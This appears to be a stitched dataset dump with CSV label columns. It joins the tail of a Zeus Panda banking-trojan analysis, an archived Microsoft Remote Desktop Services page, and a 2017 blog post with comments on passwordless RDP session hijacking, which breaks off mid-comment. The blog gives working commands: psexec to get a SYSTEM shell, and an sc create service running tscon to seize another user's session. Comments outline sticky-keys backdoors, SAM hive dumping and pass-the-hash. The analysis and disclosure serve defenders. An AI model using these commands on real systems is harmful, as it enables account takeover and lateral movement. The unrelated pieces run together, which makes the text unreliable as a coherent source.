Panda also creates three extra files with random file extensions which will be later used to temporarily store data. After moving the malware executable to the new folder, Panda adds a new value to the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key.This en- sures that the malware is executed each time the infected user logs into the system. Additionally, it writes the initial PeSettings to Desktop (Create Shortcut).exe (see section 4.2.2). 5.2 HTTP Grabber and Injector Since Panda is a banking trojan, its main purpose is to steal money from a victim\xe2\x80\x99s bank account and to grab login credentials for the bank accounts (and possibly other web services) wherever possible. A crucial part of its activity therefore is to intercept the web traffic of the victim\xe2\x80\x99s web browser(s) and to manipulate the content of the web page that is displayed in the browser. In order to achieve these goals Panda uses process injection (section 5.3) and API hooking (section 5.4). To know which web pages should be manipulated, Panda receives a list of URL masks and corresponding inject data. The inject data consist of the actual inject (script inclusion from attacker-controlled web server) and a description of the position where the inject has to be placed in the website. The included script is actually only a loader that loads the second stage of the inject which then communicates with the Panda web backend and does further modifications to the web page. But there is a problem: today\xe2\x80\x99s web browser implement a feature called content- security policy. With (one of) the CSP header(s) sent by the web server, a website owner can tell the browser in detail, from where to load e.g. additional JavaScript code. Correctly configured, this hinders Panda to retrieve the second stage loader because it is loaded from a different web server. But since Panda is a man-in-the-browser malware, it can remove those headers from the server response and the browser will retrieve the loader. Additionally, Panda removes the TE and If-Modified-Since headers from the request if the hijacked process is either Firefox or Chrome. This has two implications: web 5.2 HTTP Grabber and Injector 21 servers will never send responses that have another transfer encoding than chunked (or no transfer encoding at all) and the server will always send a response that contains a HTTP response body. If Panda would not remove the If-Modified-Since header, a web server might send a response with a 304 status code and no response body content. Usually, this instructs the browser to use a cached version of the web page because the page content did not change since the last request (the time of the last request is specified in the If-Modified-Since header field). But since Panda intercepts web traffic between the raw socket and the handling of the browser, it cannot inject the malicious code into the response body because the web server never sent some. So, Panda must ensure that the web server sends a response body to be able to execute its injects. This can be achieved by removing the If-Modified-Since header and thereby simulating a fresh request to the web server. Another thing Panda needs to take care of is Accept-Encodings. If the web server sends encoded data (e.g. gzip\xe2\x80\x99ed), Panda will need to decode it to be able to analyze the response and maybe inject code. To avoid this, Panda simply changes (or adds) the Accept-Encoding request header to contain only identity which tells the web server to only send plain responses without any encoding at all. Since Panda uses URL masks to detect which pages it should inject code into, it might happen that the masks match pages that do not contain valid HTML data (e.g. pictures, documents). In order to avoid those files, Panda checks the server response for specific Content-Types. Only if a valid content type is specified in the response header Panda tries to find injection points in the data. Valid content types are: \xe2\x88\x99 text/ \xe2\x88\x99 application/x-javascript \xe2\x88\x99 application/javascript \xe2\x88\x99 application/xml \xe2\x88\x99 application/xhtml+xml \xe2\x88\x99 application/octet-stream \xe2\x88\x99 application/json Panda does not only inject data into web pages, it already grabs data at that point. If Panda finds any Authentication headers in the request, it checks for basic authentication and extracts username and password from it and adds it to the report. Additionally, Panda can extract all request data from GET and POST requests and reports them to the command-and-control server. For a more detailed analysis on how the actual webinjects work and what the com- munication with the ATS looks like, please see our blogposts by Manuel K\xc3\xb6rber-Bilgard and Karsten Tellmann1 2 1https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/ 2https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/ 5.3 Process Injection 22 5.3 Process Injection To apply its hooks, Panda needs to be part of each specific process space it wants to hook the functions in. In order to inject itself into the right process, Panda checks if the current targeted process fulfills some requirements: \xe2\x88\x99 targeted process id \xcc\xb8= current process id (\xe2\x86\x92 avoid injecting into its own process) \xe2\x88\x99 targeted process owner = current process owner (\xe2\x86\x92 avoid permission violation) \xe2\x88\x99 the targeted process name must be one of: firefox.exe, chrome.exe, iexplore.exe, panda.exe, MicrosoftEdge.exe, or MicrosoftEdgeCP.exe If all of those requirements are given, Panda injects itself into the process. This is done by allocating a virtual memory buffer of sufficient size in the target process using VirtualAllocEx. It then needs to relocate the copied binary because the old module base is most probably not the same it is in the remote one. If the relocation succeeded, Panda writes itself into that freshly allocated memory section. Afterwards, Panda copies over run-time data that has been modified by the infecting process during initialization and which is needed by the injected code. After Panda successfully wrote all data into the address space of the targeted process, it creates a thread in this process. The thread continues to install the hooks and all execute all other necessary functions. 5.4 API Hooking Technique As described in sections 5.5.1, 5.5.2, 5.5.3, and 5.5.4, Panda uses a hot-patch like function overriding method to hook its desired functions. Therefore, Panda overwrites the first 5 bytes of the function to contain a jump to its hook function. Because Panda needs to call the original function after doing its work in the hook function, it saves the overwritten instructions in a temporary buffer. For this purpose Panda has a built-in instruction length decoder. It then redirects the internal function resolver cache to point to that area (a so-called trampoline). Probably Panda does this to prevent an infinite recursion when the hook calls the hooked function. Interestingly, Panda searches it\xe2\x80\x99s own IAT for hooked functions. However, as Panda has replaced importing through the IAT with the import resolver function (for most functions including all hooked functions) this has no purpose. 5.5 Hooks and Browser Manipulation After Panda successfully injected into its target processses (see section 5.3), it starts hooking all necessary functions to provide banking trojan capabillities. The detailed technique is described in section 5.4 so this section focuses on the individual browser and how Panda implements its malicious activities. 5.5 Hooks and Browser Manipulation 23 Figure 5.1: Flowgraph of the process infection thread. 5.5.1 Internet Explorer Since Internet Explorer is a browser made by Microsoft, it vastly depends on functions from the Windows API and has no dependencies on third-party DLLs that need to be considered when hooking Internet Explorer. The actual hooks are done by overwriting some bytes in the function prologue (see section 5.4). The list of functions hooked by Panda is as follows: \xe2\x88\x99 wininet!HttpSendRequestW \xe2\x88\x99 wininet!HttpSendRequestA \xe2\x88\x99 wininet!HttpSendRequestExW \xe2\x88\x99 wininet!HttpSendRequestExA \xe2\x88\x99 wininet!InternetReadFile \xe2\x88\x99 wininet!InternetReadFileExW \xe2\x88\x99 wininet!InternetReadFileExA 5.5 Hooks and Browser Manipulation 24 \xe2\x88\x99 wininet!InternetQueryDataAvailabe \xe2\x88\x99 wininet!InternetCloseHandle \xe2\x88\x99 wininet!HttpOpenRequestW \xe2\x88\x99 wininet!HttpOpenRequestA \xe2\x88\x99 wininet!HttpQueryInfoA \xe2\x88\x99 wininet!InternetConnectW \xe2\x88\x99 wininet!InternetConnectA \xe2\x88\x99 wininet!InternetWriteFile Additionally, Panda disables the phishing filter to avoid triggering it with the web injects, through modifying the following registry keys: \xe2\x88\x99 HKCU\\Software\\Microsoft\\Internet Explorer\\PhishingFilter\\Enabled \xe2\x88\x99 HKCU\\Software\\Microsoft\\Internet Explorer\\PhishingFilter\\EnabledV8 \xe2\x88\x99 HKCU\\Software\\Microsoft\\Internet Explorer\\PhishingFilter\\EnabledV9 And it sets several internet zone policies to allow in order to get access to cookies and enable cross site script includes: \xe2\x88\x99 URLACTION_CROSS_DOMAIN_DATA \xe2\x88\x99 URLACTION_HTML_MIXED_CONTENT \xe2\x88\x99 URLACTION_COOKIES \xe2\x88\x99 URLACTION_COOKIES_ENABLED \xe2\x88\x99 URLACTION_COOKIES_SESSION \xe2\x88\x99 URLACTION_COOKIES_THIRD_PARTY \xe2\x88\x99 URLACTION_COOKIES_SESSION_THIRD_PARTY And finally it disables the \xe2\x80\x9cbad certificate\xe2\x80\x9d warning by modifying the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\WarnonBadCertRecving 5.5 Hooks and Browser Manipulation 25 5.5.2 Mozilla Firefox As described in section 5.5.3, Firefox uses a dynamically linked NSPR4.dll. This lowers the bounds for the malware to hook all necessary functions. Panda hooks the functions PR_Close, PR_Read, PR_Write, and PR_Poll by overwriting some bytes in the function prologue like it does for all Windows API hooks (see section 5.4). Similarly to Internet Explorer, Panda modifies the user preferences the better fit the needs of the malware. In the case of Firefox, it walks through the profiles directory of Firefox\xe2\x80\x99s settings directory (%APPDATA%\\Mozilla\\Firefox) and sets the following user preferences to false: \xe2\x88\x99 privacy.clearOnShutdown.cookies \xe2\x88\x99 security.warn_viewing_mixed \xe2\x88\x99 security.warn_viewing_mixed.show_once \xe2\x88\x99 security.warn_submit_insecure \xe2\x88\x99 security.warn_submit_insecure.show_once \xe2\x88\x99 security.warn_entering_secure \xe2\x88\x99 security.warn_entering_weak \xe2\x88\x99 security.warn_leaving_secure \xe2\x88\x99 network.http.spdy.enabled \xe2\x88\x99 network.http.spdy.enabled.v2 \xe2\x88\x99 network.http.spdy.enabled.v3 5.5.3 Google Chrome Hooking Google\xe2\x80\x99s Chrome browser is different compared to Firefox or Internet Explorer, because Chrome uses functions from both the Windows API and Mozilla\xe2\x80\x99s NSPR4 li- brary. The Windows API functions are as described in section 5.4. The difference between hooking Firefox and Chrome is that Chrome has a statically linked nspr4.dll instead of a dynamically linked one like Firefox has. Unfortunately, this has the conse- quence that one is not able to use GetProcAddress to get the address of the function and to overwrite some bytes at that address. However, Chrome internally uses a global struct of function pointers pointing to the actual functions. A pointer to this struct is shipped with each connection that is made by the browser. Panda tries to find the global struct and overwrites the function pointers in that specific struct to hook Chrome\xe2\x80\x99s NSPR4 functions. The list of hooked functions (including Window API function) is as follows: \xe2\x88\x99 PR_Write (NSPR4 overwrite) 5.6 Plug-in ability 26 \xe2\x88\x99 PR_Read (NSPR4 overwrite) \xe2\x88\x99 PR_Close (NSPR4 overwrite) \xe2\x88\x99 closesocket (WinAPI-Hook) \xe2\x88\x99 WSARecv (WinAPI-Hook) \xe2\x88\x99 WSASend (WinAPI-Hook) \xe2\x88\x99 recv (WinAPI-Hook) 5.5.4 User Functions In addition to the MITB hooks, Panda can also take screenshots, logs keyboard input, and watches for clipboard pastes. To be able to log keyboard input, Panda hooks TranslateMessage for each process it is injected into. It then checks each windows message for WM_KEYDOWN and logs the (unicode) character representation of the pressed key. Additionally, Panda listens for WM_MOUSEBUTTONDOWN events and triggers a screenshot for each of the next 100 mouse clicks if a corresponding webfilter was triggered previously (see section 5.7 for a descrip- tion of the webfilters). Additionally, Panda hooks GetClipboardData. Hooking this specific function allows the malware authors to capture passwords that are not typed by the user but instead are pasted into the form fields in the browser (e. g. because the passwords are saved in a file on disk or because the user uses a password manager). 5.6 Plug-in ability The Panda malware has the ability to dynamically load malware modules from web resources and to execute them in-place. This makes Panda a very flexible malware that can be retrofitted for other purposes. Technically, they re-implemented LoadLibrary without the need of having the actual library on disk. First, the malware allocates enough space for the loaded DLL in the virtual memory of its process using VirtualAlloc. Afterwards, Panda section-wise copies the DLL into the previously allocated block of memory. Because DLLs are position independent, the third step is to relocate the sections. To achieve that, Panda walks through the relocation table (.reloc section) and resolves the required relocations by applying the base of the corresponding section to it. Panda also needs to resolve the imports of the module. The list of imports can be shortly described as a ""what-where"" list. For each of the entries in the list, Panda uses LoadLibrary and GetProcAddress to resolve the address of the imported function and writes it to the corresponding entry in the list. Finally, it calls the DllMain function of the loaded library to hand over control to the initialization function of the DLL. Panda uses this technique to dynamically load its HttpGrabber, Socks proxy, and VNC server modules into the current process space. 5.7 Webfilters 27 5.7 Webfilters Panda implements a feature that is called \xe2\x80\x9cwebfilters\xe2\x80\x9d by the malware authors. Although, \xe2\x80\x9cfilters\xe2\x80\x9d is not the correct term frommy point of view. Consider !http://*microsoft.com* as an example for such a webfilter. The first character obviously does not belong to the actual URL although it should be clear that the exclamation mark stands for something like \xe2\x80\x9cnot\xe2\x80\x9d. The position of the exclamation mark can be called \xe2\x80\x9caction\xe2\x80\x9d and is followed by the actual URL which can contain asterisks as placeholders for \xe2\x80\x9cany characters\xe2\x80\x9d. The full list of actions is as follows: P report request content if request type is POST \xcb\x86 block access to website and report the request content | (pipe symbol) during my analysis I was not yet able to determine what this is used for @ takes a screenshot (500x500 pixels) on each of the next 100 mouse clicks (at max) ! don\xe2\x80\x99t write a report or analyze the data # takes a screenshot (fullscreen) on each of the next 100 mouse clicks (at max) % trigger the start of the VNC module (if not already started) & trigger the start of the socks proxy module (if not already started) 5.8 Remote Script In addition to the automatic information gathering, Panda provides a script-like interface where it can take several commands and performs actions on the victim\xe2\x80\x99s PC accordingly. Unfortunately, the script commands are hashed using CRC32 before comparing to the list of handlers so that we were not able to tell the names of the commands. But nevertheless we were able to determine the purpose of the commands by looking at their respective handlers. The possible actions the remote script can trigger, are: set shutdown flag shutdown PC after the script finished set maintenance shutdown flag shutdown PC in \xe2\x80\x9cminor maintenance\xe2\x80\x9d mode 5.8 Remote Script 28 uninstall removes the bot from the PC update bot (force) updates the binary executable of the bot update config (force) updates the bot\xe2\x80\x99s dynamic configuration block or unblock webinjects allows for disabling or enabling certain webinjects list files matching a given path pattern searches the local file system for all files matching the pattern and adds the list to the report read files matching a given path pattern searches the local file system for all files matching the pattern and adds the content of the files to the report remove a local file deletes a file from the local file system execute remote file downloads and executes an arbitrary file block or unblock a given URL allows for blocking or unblocking a given URL so that the user can (or cannot) open the page in the browser enable HttpGrabber features grab passwords, forms, certificates, cookies (1+2), delete cookies (1+2), softlist, delete cache start VNC module (force) starts the VNC module start VNC module and set a flag in the local settings (force) start the VNC module and sets the appropriate flag in the local settings start socks module (force) starts the Socks proxy module start socks module and set a flag in the local settings (force) starts the Socks proxy module and sets the approriate flag in the local settings 5.9 System Report 29 5.9 System Report Each time Panda communicates with the command-and-control server, it sends status information about the bot back to the command-and-control server. The exact informa- tion depend on the type of the message sent to the server. But there are five groups of information that can be sent: SYSINFO_TIME \xe2\x88\x99 current system time (UTC) SYSINFO_USER \xe2\x88\x99 the name of the process executable where the control process resides in \xe2\x88\x99 the current system user SYSINFO_BOTVERSION \xe2\x88\x99 bot ID \xe2\x88\x99 the botnet the client is part of \xe2\x88\x99 the version of the bot SYSINFO_OS \xe2\x88\x99 system version (e. g. 6.1 for Windows 7) \xe2\x88\x99 service pack number \xe2\x88\x99 build id \xe2\x88\x99 architecture (32/64 bit) \xe2\x88\x99 server edition? \xe2\x88\x99 default ui language SYSINFO_MISC \xe2\x88\x99 network latency \xe2\x88\x99 localized time \xe2\x88\x99 computer name \xe2\x88\x99 installed antivirus, antispyware, and firewall products 6 Conclusion Panda must be considered to be among the more advanced types of malware. The code basis is large and sports a number of features not found in less sophisticated malware. These features include extensive anti-analysis code and an advanced hooking framework in which Panda brings, among other things, its own instruction length decoder. The code seems to be mature and the quality of the code appears to be above the average for malware. The main purpose of Panda is to serve as a bankning trojan. Therefore its author equipped the malware with sophisticated capabilities and supports all major browsers in the Windows ecosystem. However, Panda shows significant flexibility allowing it to be used for other malicous purposes. For example, Panda implements a modifiable configuration that can be changed at any time by the attacker. Additionally, Panda is able to spy on user activity, provides a remotely accessible scripting language, and has the abillity to load a VNC server and a SOCKS proxy module to provide additional remote access features to the attacker. Thus, the Panda trojan family remains a considerable threat even six years after the Zeus source was made public. Introduction Overview General Information Execution Flow Anti-Detection and Anti-Reverse-Engineering Techniques Malware Startup Checks Debug support Language checks Anti analysis check Windows API Imports Crypted Strings Cryptography Random Numbers Cryptography Hashing Configuration Bot ID Configuration Base Config Local Config (PeSettings) Dynamic Config Local Settings Bot Update Configuration Update Payload and Persistence Persistence HTTP Grabber and Injector Process Injection API Hooking Technique Hooks and Browser Manipulation Internet Explorer Mozilla Firefox Google Chrome User Functions Plug-in ability Webfilters Remote Script System Report Conclusion","1","1","0","1","1","1","1","0","1","1","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","1","1","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0" -"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx JAN MAR APR Previous capture 14 Next capture 2015 2016 2017 186 captures 28 Aug 2009 - 21 Aug 2019 About this capture Sign in United States (English) Home Windows Server 2012 R2 Windows Server 2008 R2 Library Forums Remote Desktop Services Remote Desktop Services, formerly Terminal Services, is a server role in Windows Server that provides technologies that enable users to access session-based desktops, virtual machine-based desktops, or applications in the data center from both within a corporate network and from the Internet. Remote Desktop Services enables a rich-fidelity desktop or application experience, and helps to securely connect remote users from managed or unmanaged devices. More... Get Started About Remote Desktop Services Assess What's New in Remote Desktop Services in Windows Server 2012 Overview and Test Lab Guides Plan for Remote Desktop Services Plan Infrastructure Planning and Design (IPD) Guides for Virtualization Microsoft Assessment and Planning Toolkit 7.0 Deploy Remote Desktop Services Deploy Remote Desktop Services Deployment Guide Remote Desktop Services Migration Guide Troubleshoot Remote Desktop Services Troubleshoot Troubleshooting Remote Desktop Licensing Issues Remote Desktop Services Event-Based Troubleshooting Product Team Blog Posts RSS February updates to Azure RemoteApp Monday, Mar 7 Windows MultiPoint Server 2012 updates available Tuesday, Feb 23 Staying current with Windows Server updates for Remote Desktop Services (RDS) Monday, Feb 22 More blog posts > RDS Forum RSS Load Balancing RD Sessions Hosts... with custom Rules Monday, Mar 14 RemoteApp on 3 different servers? Monday, Mar 14 Seamless Window on Mac OS X Monday, Mar 14 Ask a question in the forum > Featured Technical Resources Troubleshooting Remote Desktop Licensing Issues To help you troubleshoot issues with Remote Desktop Licensing (RD Licensing) in Windows Server 2012 or Windows Server 2008 R2, or with Terminal Services Licensing (TS Licensing) in earlier versions of Windows Server, refer to the following topics in Troubleshooting Remote Desktop Licensing Issues: Install and issue RDS CALs or TS CALs Discover license servers Understand the licensing grace period Migrate client access licenses Create CAL reports Diagnose licensing issues Recover from disasters Remote Desktop Client Remote Desktop Client resources Microsoft Remote Desktop clients forum Product Version Resources Remote Desktop Services in Windows Server 2012 Remote Desktop Services in Windows Server 2008 R2 Terminal Services in Windows Server 2008 Terminal Services in Windows Server 2003 Technical Reference Troubleshooting Remote Desktop Licensing Issues Top Support Issues Why and How to Reactivate License Servers in Terminal Services and Remote Desktop Services (follow-up to Microsoft Security Advisory 2718704) Remote Desktop Disconnected or Can't Connect to Remote Computer or Remote Desktop Server (Terminal Server) Running Windows Server 2008 R2 Remote Desktop Services Sites Code Gallery (MSDN) Community Verified Compatibility Center Developer Library (MSDN) Forums Group Policy Settings Online Help Product Evaluation RDP Settings Script Center Technical Library (TechNet) \xc2\xa9 2016 MicrosoftManage Your ProfileFlash NewsletterContact UsPrivacy StatementTerms of UseTrademarksSite Feedback TechNetProductsIT ResourcesDownloadsTrainingSupport","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Alexander Korznikov. A bit of security.: Passwordless RDP Session Hijacking Feature All Windows versions Alexander Korznikov. A bit of security. Friday, March 17, 2017 Passwordless RDP Session Hijacking Feature All Windows versions * This post periodically updated, all updates in the end of the post. Update: Added Windows Server 2016 Datacenter Demo Hey there, Blogpost in 20 seconds: Fun with sethc backdoored host :) somewhere in the internet: Recently i've played with sethc/utilman logon screen backdoors, and almost everytime i used just command line. Occasionally i've looked at Users tab in Task Manager (taskmgr.exe), and clicked connect button, and surprisingly i've got connected to selected user's session. When i checked it again with local admin rights, it failed by asking user's password. Why and how that happened? Let's dig deeper. Related to Microsoft documentation: https://technet.microsoft.com/en-us/library/cc770988(v=ws.11).aspx https://technet.microsoft.com/en-us/library/cc731007(v=ws.11).aspx we can see couple important remarks: Remarks You must have Full Control access permission or Connect special access permission to connect to another session. The\xc2 /dest: parameter allows you to connect the session of another user to a different session. If you do not specify a password in the parameter, and the target session belongs to a user other than the current one,\xc2 tscon\xc2 fails (not really). I've got it! Sticky Keys (cmd backdoor) at windows login screen runs with NT AUTHORITY/SYSTEM and have Full Control access permission, and can connect to EVERY user session without asking for a password. So we've got a session hijacking here. The most funny thing is that the legit user isn't asked for logout, by using this technique the user just will be kicked out of the session without any notification. Attack Vector Details: A privileged user, which can gain command execution with NT AUTHORITY/SYSTEM rights can hijack any currently logged in user's session, without any knowledge about his credentials. Terminal Services session can be either in connected or disconnected state. This is high risk vulnerability\xc2 which allows any local admin to hijack a session and get access to: 1. Domain admin session. 2. Any unsaved documents, that hijacked user works on. 3. Any other systems/applications in which hijacked user previously logged in (May include another Remote Desktop sessions, Network Share mappings, applications which require another credentials, E-mail etc.) feature Example scenario:\xc2 Some bank employee have access to billing system, and it's credentials to login. One day, he come to work, logging in to the billing system and start to work. At lunch time he will lock his workstation, and out to lunch. Then, system administrator gets to employee's workstation, and logs in with his administrator's account. According to the bank's policy, administrator's account should not have access to the billing system, but with couple of built-in commands in windows, this system administrator will hijack employee's desktop which he leaved locked. From now, sysadmin can perform malicious actions in billing system as billing employee account. There are huge amount of scenarios like this. Furthermore, an attacker doesn't need to use tools like metasploit, incognito, mimikatz etc, which is commonly used for user's token manipulation and impersonating logged in users. Everything is done with built-in commands. Every admin can impersonate any logged in user either locally with physical access or remotely via Remote Desktops (see PoC). Tested on: Windows 2016 (Confirmed by Kevin Beaumont @GossiTheDog) Windows 2012 R2 Windows 2008 Windows 10 Windows 7 We can talk about endless amount of examples. It can be done remotely, as shown in Proof of Concepts. An attacker can hijack active or disconnected session remotely via remote desktops. I use this technique about three weeks in my on-going penetration tests on daily basis. It in very simple way helps me to get access to sensitive information like emails, opened documents, clear-text passwords that administrators write down in notepad (not intended for saving, but for temporally writing it somewhere), opened RDP sessions to another external domains (think cloud), or another applications that make use of different login credentials. Someone can say, if you admin, you can dump server's memory and parse it. That's correct, but you don't need it any more. Just two simple commands and you are in. The most incredible thing, is that I don't need to know the credentials of hijacked user, it is pure passwordless hijacking. A successful attack heavily related on time and gathered information. If you need to dump a memory, to get your sensitive info, you're in problem. That means that you've tried all quick-wins that you know. In example of hijacking user (active or disconnected) while he is working now remotely on some sensitive server that i have no access to, and haven't even knew about it, this technique allows me to compromise that server in less than a minute. Everything is real and from my own experience. Furthermore, as I understand it is very hard to catch if this attack happen. Kevin Beaumont @GossiTheDog make an alert on tscon.exe usage, with Microsoft OMS. I had a conversation about this finding with Benjamin Delpy @gentilkiwi author of mimikatz: ""That is normal Windows API, that's the design flow, they use it. As mentioned earlier, if you admin, you can do everything. But here is the point. Why and HOW you become admin? If some unprivileged user becomes admin using some kind of local privilege escalation - that's the problem and not the design flow we are talking about. You can do everything, even patch terminal services the way that it will accept your token and allow shadowing mode, without user's knowledge."", he said. Proof of Concept: Microsoft documentation helps us to do that from command line: https://technet.microsoft.com/en-us/library/cc771505(v=ws.11).aspx All we need is NT AUTHORITY/SYSTEM command line.\xc2 Easiest method with psexec, but requires psexec.exe to be there:\xc2 psexec -s \\\\localhost cmd Another method is to create a service that will connect selected session to ours. 1. Get all sessions information: C:\\Windows\\system32>query user USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME administrator 1 Disc 1 3/12/2017 3:07 PM >localadmin rdp-tcp#55 2 Active . 3/12/2017 3:10 PM C:\\Windows\\system32> 2. Create service which will hijack user's session: C:\\Windows\\system32>sc create sesshijack binpath= ""cmd.exe /k tscon 1 /dest:rdp-tcp#55"" [SC] CreateService SUCCESS 3. Start service: net setart sesshijack Right after that your session will be replaced with target session. Proof of Concept video: Windows Server 2016 Demo (new): https://youtu.be/bbTfN5geSKw Windows 7 via Task Manager: https://youtu.be/oPk5off3yUg Windows 7 via command line: https://youtu.be/VytjV2kPwSg Windows 2012 R2 via service creation: https://youtu.be/OgsoIoWmhWw Update:\xc2 @gentilkiwi\xc2 has found that before in 2011, so that is a feature and not zero-day: http://blog.gentilkiwi.com/securite/vol-de-session-rdp Update: If you still think that this don't have high attack value, read a great writeup by Kevin Beaumont about this feature: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 Update: RedSnarf has now support in RDP Hijacking\xc2 https://www.youtube.com/watch?v=VrF8uXK_ePY \xd0\x90\xd0\xb2\xd1\x82\xd0\xbe\xd1\x80: nopernik \xd0\xbd\xd0\xb0 1:57:00 AM Email ThisBlogThis!Share to TwitterShare to FacebookShare to Pinterest 38 comments: Shai ChikorelMarch 20, 2017 at 4:32 PM Thanks a lot for the information !! I love to read your blog i tried it now with Server 2012 R2 but when i start my custom service i got error thanks shai ReplyDelete Replies Reply UnknownMarch 20, 2017 at 4:52 PM This comment has been removed by the author. ReplyDelete Replies Reply \xd0\x99\xd0\xbe \xd1 March 20, 2017 at 5:20 PM Just stop using this M$ shit :) ReplyDelete Replies Reply AnonymousMarch 20, 2017 at 8:03 PM What about M$ protection ? released M$ security vulnerability updates ? ReplyDelete Replies Reply AnonymousMarch 20, 2017 at 9:54 PM This *bug* is due to a call to WTSQueryUserToken, which gives you a token handle that you can then pass into CreateProcessAsUser. You have the SE_TCB_NAME privilege set, hence why you need to do it as SYSTEM. I released code to exploit this in 2010. sjl ReplyDelete Replies nopernikMarch 21, 2017 at 12:31 AM where can i see the exploit code? Delete Replies Reply AnonymousMarch 21, 2017 at 6:35 PM first of all, I'm not the same anonymous :) Hi Alexander, thanks a lot for sharing your findings. Even if I knew @gentilkiwi's work I admit I missed his post about this issue. Doing a bit of googleing on ""SE_TCB_NAME"" I found this link: http://forums.codeguru.com/showthread.php?159961-How-_programmatically_-grant-privilege-SE_TCB_NAME Alex Fedotov in 2001 wrote: Re: How _programmatically_ grant privilege SE_TCB_NAME [...]You should never grant the SE_TCB_NAME privilege to any real user account, even administrator's account. It's too dangerous. If you need to call LogonUser and CreateProcessAsUser, ***do it in a service that runs in the LocalSystem logon session***.[...] At the time, soon.exe and srvany.exe (https://www.microsoft.com/resources/documentation/windowsnt/4/server/reskit/en-us/reskt4u4/rku4list.mspx?mfr=true) were commonly used to do such things (i.e. bypass user specific ACL). Just login as local admin, soon.exe in order to spawn a cmd as NT/SYSTEM and do... what you had to do. At least I finally found WHY this was working. There is also an old MS KB article showing ""How To Manage User Privileges Programmatically in Windows NT"" (https://support.microsoft.com/en-us/help/132958/how-to-manage-user-privileges-programmatically-in-windows-nt) so, MS told us HOW do this programmatically since 2005. That is to say, I think that is not so important who is the first that ""discovers"" something (or when) but what you someone can actually do with such ""discovery"". Delete Replies Reply nopernikMarch 21, 2017 at 8:29 PM Why you so anonymous? :) thanks for your comment! Delete Replies Reply Reply CarlosMarch 21, 2017 at 2:10 AM If you are a local machine admin you are by definition a ""god"" on that machine. Similar to Linux root. Windows UAC notwithstanding, there is no such thing as a higher privileged account. This is a failure in understanding by the poster. A ""domain account"" is not ""higher"" either. Why would it be? Local machine admin is god on that machine. ReplyDelete Replies nopernikMarch 21, 2017 at 2:12 AM on that machine, not on the domain. Delete Replies Reply CarlosMarch 21, 2017 at 1:55 PM As the blog post suggests, if a domain admin is *also* logged on to the machine (first off, why is he on your machine?), then yeah, he now has an active session on *that* machine and you can take over his account because you are the god on that machine just like Linux root. This just doesn't sound like vulnerability but a general misunderstanding on the part of the poster. Delete Replies Reply nopernikMarch 21, 2017 at 2:03 PM think about domain post exploitation. 1. an attacker have hash of local admin 2. an attacker executes command on some fileserver with system privilege (adding sethc backdoor for example) 3. connects via rdp and hijacks session of domain admin There can be endless amount of scenarios. On other hand, you are talking about linux root. How hard it will be to hijack some ssh linux session? But you are the ""god"" in that machine? In case of windows, it's done with one command now. Delete Replies Reply AnonymousMarch 21, 2017 at 6:52 PM @Carlos this is certainly not a misunderstanding on the part of the poster. This effectively gives anyone with a local admin on 1 machine in a domain, the possibility to easily become domain admin. Good practice is to log out fully, but in reality it can be forgotten or just not always done. This is a very major security flaw Delete Replies Reply CarlosMarch 21, 2017 at 6:53 PM But it is all based on the premise that there is a domain admin currently logged into the workstation. When and why in the world would that happen? And you're telling me root on Linux can't spy on another Linux session on the machine using Screen or otherwise do a whole host of other stuff? C'mon now. The attacker in this case must already be a local admin. Why would you ever give anybody Local Admin privileges? Why would you ever log into a machine (via RDP or otherwise) where a local admin existed and then leave that session running knowing full well Local Admin is God on that machine??? Delete Replies Reply CarlosMarch 21, 2017 at 7:07 PM BTW, there is a security ""best practice"" for this. If you must allow a user to have local admin rights (bad idea, but whatever) and you are afraid some IT person (domain admin) might log in (via RDP or locally) and leave a session running, then DISALLOW that machine from joining the domain. The user can still access domain resources as whatever low-level limited user they are: Windows will just prompt the user for their AD domain credentials when they try, but no ""domain admin"" can RDP or log into your machine. Your machine is technically ""off"" the domain. This is done with consultants all the time. Delete Replies Reply nopernikMarch 21, 2017 at 7:42 PM Imagine scenario like this (real life scenario): Intro: 1. We have regular domain 2. Domain Users doesn't have local admin privileges except of IT Dept. So, the attack flow: 1. User John boot form USB/CD/Network some kind of linux/rescue_cd 2. John backdoors it's own workstation with sticky key backdoor. 3. With next boot, John have system privileges. 4. John dumps local hashes with command ""reg save hklm\\sam"" (legit right?) 5. John call IT Dept for remote help 6. John catch with netstat the IP address of IT Admin 7. John connects back with pass the hash technique and execute command as system 8. John connects to the IP of the Admin and hijacks it's session while admin out for 